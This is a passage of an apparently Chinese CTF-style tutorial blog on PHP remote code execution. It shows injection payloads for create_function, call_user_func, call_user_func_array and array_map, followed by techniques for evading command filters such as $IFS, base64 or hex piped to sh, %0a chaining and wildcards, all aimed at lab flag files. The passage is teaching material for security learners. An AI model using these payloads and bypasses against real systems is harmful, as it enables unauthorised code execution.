style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">add</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">create_function</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">$a,$b</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">return $a+$b;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">add</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">10</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">20</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/21.png\" class=\"\"></p>\n<p>不过他的底层逻辑实际上是这样：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">eval</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">function </span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\0</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">lambda_1(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">a,</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">b)&#123;return </span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">a+</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">b;&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>所以如果create_function内部参数可控的话，可以构造字符串闭合掉原本的function执行其他代码：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">create_function</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">''</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">echo \"</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\";</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/22.png\" class=\"\"></p>\n<p>但如果我传入：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=ZLARYY\";&#125; system(\"type flag.txt\");/*</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/23.png\" class=\"\"></p>\n<p>显然成功执行了后面的代码</p>\n<h1 id=\"call_user_func\"><a class=\"anchor\" href=\"#call_user_func\">#</a> call_user_func()</h1>\n<p>这个函数理解起来也挺好的，他有两个参数，第一个参数为函数名，第二个参数为函数内部的参数：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">call_user_func</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">system</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">echo ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/24.png\" class=\"\"></p>\n<p>实际上就是执行了<code>system('echo ZLARYY');</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">func</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">a</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">arg</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">b</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">call_user_func</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">func</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">arg</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/25.png\" class=\"\"></p>\n<p>话说是不是很像php可变函数</p>\n<h1 id=\"call_user_func_array\"><a class=\"anchor\" href=\"#call_user_func_array\">#</a> call_user_func_array</h1>\n<p>这个函数与call_user_func函数差不多，只是他的第二个参数变成需要传入一个数组进去：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">func</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">a</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">arg</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">b</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">call_user_func_array</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">func</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">arg</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>也就是说需要传入</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?a=system&#x26;b[]=type flag.txt</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/26.png\" class=\"\"></p>\n<h1 id=\"array_map\"><a class=\"anchor\" href=\"#array_map\">#</a> array_map</h1>\n<p>该函数的作用是把一个函数作用到数组的每一个元素中：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 一个普通的转换函数 (PHP 内置函数，转大写)</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">func</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">strtoupper</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">data</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> array</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">a</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">b</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">c</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// array_map 开始工作：把 strtoupper 挨个作用于 'a', 'b', 'c'</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">result</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> array_map</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">func</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">data</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 输出：Array ( [0] => A [1] => B [2] => C )</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>那么我们就可以利用它一次执行多个命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">func</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">a</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">arg</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">b</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">array_map</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">func</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">arg</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/27.png\" class=\"\"></p>\n<p>%26是&amp;的URL编码，这里在传参只能用%26而不能用&amp;连接</p>\n<h1 id=\"常规绕过\"><a class=\"anchor\" href=\"#常规绕过\">#</a> 常规绕过</h1>\n<p>我们已经了解了RCE漏洞相关的函数和语言结构，现在可以看看一些常规的过滤绕过技巧了：</p>\n<h2 id=\"空格过滤\"><a class=\"anchor\" href=\"#空格过滤\">#</a> 空格过滤</h2>\n<ol>\n<li>\n<p>如果是web传参，可以用<code>%09</code>和<code>%20</code>等URL编码代替</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/28.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/29.png\" class=\"\"></p>\n</li>\n<li>\n<p>可以用<code>$IFS$1-9</code>代替</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/30.png\" class=\"\"></p>\n</li>\n<li>\n<p>用<code>$&#123;IFS&#125;</code>或者<code>&lt;&gt;</code>代替</p>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/32.png\" class=\"\"></p>\n</li>\n<li>\n<p>花括号<code>&#123;&#125;</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#123;sort,flag.txt&#125;</span></span>\n<span class=\"line\"><span>//单命令最后也需要加上逗号</span></span>\n<span class=\"line\"><span>&#123;ls,&#125;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/37.png\" class=\"\"></p>\n</li>\n</ol>\n<p><strong>注：windows系统下测试${IFS}一类会失败，这些仅限于Linux的Bash</strong></p>\n<h2 id=\"关键字过滤\"><a class=\"anchor\" href=\"#关键字过滤\">#</a> 关键字过滤</h2>\n<ol>\n<li>\n<p>base64编码绕过</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo \"c29ydCBmbGFnLnR4dA==\"|base64 -d|sh</span></span>\n<span class=\"line\"><span>//利用管道符的标准输出与标准输入，实际上执行sort flag.txt</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/33.png\" class=\"\"></p>\n</li>\n<li>\n<p>hex编码绕过</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo \"736f727420666c61672e7478740a\"|xxd -r -p|sh</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>echo \"sort flag.txt\"|xxd //这行命令可以输出hex编码</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/34.png\" class=\"\"></p>\n<p>如果服务器没有xxd命令可以使用$()命令替换等：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$(printf \"\\x73\\x6F\\x72\\x74\\x20\\x66\\x6C\\x61\\x67\\x2E\\x74\\x78\\x74\")</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>`printf \"\\x73\\x6F\\x72\\x74\\x20\\x66\\x6C\\x61\\x67\\x2E\\x74\\x78\\x74\"`</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>printf \"\\x73\\x6F\\x72\\x74\\x20\\x66\\x6C\\x61\\x67\\x2E\\x74\\x78\\x74\"|sh</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/35.png\" class=\"\"></p>\n</li>\n<li>\n<p>拼接绕过</p>\n<p>这个技巧在一些时刻可以用于拼接assert，但是不能用于拼接eval</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>//假如过滤了sort</span></span>\n<span class=\"line\"><span>a=so;b=rt;$a$b flag.txt</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/36.png\" class=\"\"></p>\n</li>\n<li>\n<p>%0a绕过绕过<code>;</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>ls%0acat /flag</span></span>\n<span class=\"line\"><span>//可以同时执行ls和cat命令</span></span></code></pre>\n</li>\n<li>\n<p>内联执行</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>echo \"a `sort flag.txt`\"</span></span>\n<span class=\"line\"><span>//命令行会先执行反引号里面的内容，再输出内容拼接到外层</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/38.png\" class=\"\"></p>\n</li>\n<li>\n<p>引号截断</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sort fl\"\"ag.txt</span></span>\n<span class=\"line\"><span>sort fl''ag.txt</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/39.png\" class=\"\"></p>\n</li>\n<li>\n<p>通配符代替</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?可以用来代替匹配一个字符</span></span>\n<span class=\"line\"><span>*可以用来匹配多个字符</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>sort fl??????</span></span>\n<span class=\"line\"><span>sort fl*</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/40.png\" class=\"\"></p>\n</li>\n<li>\n<p>反斜杠转义</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>so\\rt fl\\ag.txt</span></span>\n<span class=\"line\"><span>//过滤了sort和flag字符</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/41.png\" class=\"\"></p>\n</li>\n<li>\n<p>方括号<code>[]</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sort fl[a]g.txt</span></span>\n<span class=\"line\"><span>//不可用于sort等关键字</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/28/RCE/42.png\" class=\"\"></p>\n</li>\n</ol>\n<h1 id=\"无字母无数字rce\"><a class=\"anchor\" href=\"#无字母无数字rce\">#</a> 无字母无数字RCE</h1>\n<h2 id=\"异或\"><a class=\"anchor\" href=\"#异或\">#</a> 异或</h2>\n<p>如果题目要求不能使用字母和数字：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">preg_replace</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span 